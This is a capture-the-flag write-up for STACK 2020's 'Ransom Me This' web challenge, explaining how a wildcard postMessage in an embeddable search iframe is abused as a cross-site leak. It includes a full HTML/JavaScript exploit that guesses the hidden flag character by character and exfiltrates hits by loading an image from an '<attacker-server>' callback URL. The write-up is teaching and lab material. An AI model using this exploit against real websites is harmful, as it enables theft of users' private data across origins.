STACK 2020 CTF is a capture the flag organized by GovTech. We participated as PwningActionParty and achieved third place in the open category.
Ransom Me This
Category: Web
Description:
COViD’s victims received a link to this portal to submit their ransoms! Can you unlock the keys without paying the ransom?
There are two parts to this website:
- The ransom submission
- The hacked website search
The first step is to try to observe the behavior each feature exhibits
1. The ransom submission
This makes a POST request to http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/
and the response doesn’t seem to indicate any difference from the initial landing page.
However, using Burp Collaborator, we can test that a HTTP request is subsequently made to the URL we provided.
Notice that the user agent implies that this was made from a headless chrome instance, for now, there doesn’t seem to be any other interesting behavior for this feature.
2. The hacked website search
This feature is located at http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/search?q=
and embedded in an iFrame.
1
2
var numResults = "4"
window.parent.postMessage(numResults, '*');
From the inline JavaScript on the page, we see that it posts the number of search results as a message to the parent website embedding this iFrame, this is interesting because it specifies a wildcard target origin and the page itself allows being embedded from a different origin than itself. Keep this in mind, this primitive could be useful for leaking information across origins.
From the response of the site, there seems to be encryption key hidden from the search results, probably intentional since we might not be “authenticated” to view them.
Hypothesis
From the information we have on hand, we can hypothesis where the flag might be located:
- The HTTP request made from the headless chrome seem to imply that we need to make use of this feature in order to obtain the flag, and that we might need to utilize some browser feature (JavaScript methods, etc).
- The cross-site information leak primitive seems to imply that we need to embed this page in our final exploit and to use the primitive to leak information on the flag.
Therefore, I can hypothesize that the flag is stored as a hidden encryption key, and we need to load our exploit payload in a website loaded by feature #1, and making use of the cross-site leak to leak the flag in feature #2.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<body>
<script>
window.onmessage = function(data) {
success = parseInt(data.data);
if (success == 0) {
return;
}
var iframes = document.getElementsByTagName('iframe');
for(var i = 0; i < iframes.length; i++) {
if(data.source === iframes[i].contentWindow) {
// Do stuff with iframes[i]
var img = document.createElement('img')
img.src = "http://<attacker-server>:8003?" + iframes[i].src;
document.appendChild(img);
}
}
}
window.onload = function() {
for (var i = 32; i <= 127; i++) {
s = String.fromCharCode(i);
var iframe = document.createElement('iframe');
iframe.src="http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/search?q=<?php echo $_GET['flag'];?>"+s;
document.body.appendChild(iframe)
}
}
</script>
</body>
</html>
This is my final exploit, it makes use of feature #2 to guess the flag character by character, and if the guess is correct, the message data should contain an non-zero integer, and if that happens, we cause a callback to our webserver to inform us.
Hosting this page on a webserver, I post the URL of the exploit page to feature #1 and incrementally guess the flag.
Eventually we obtain our flag: govtech-csg{Se@RcH_@nD_d3sTr0y}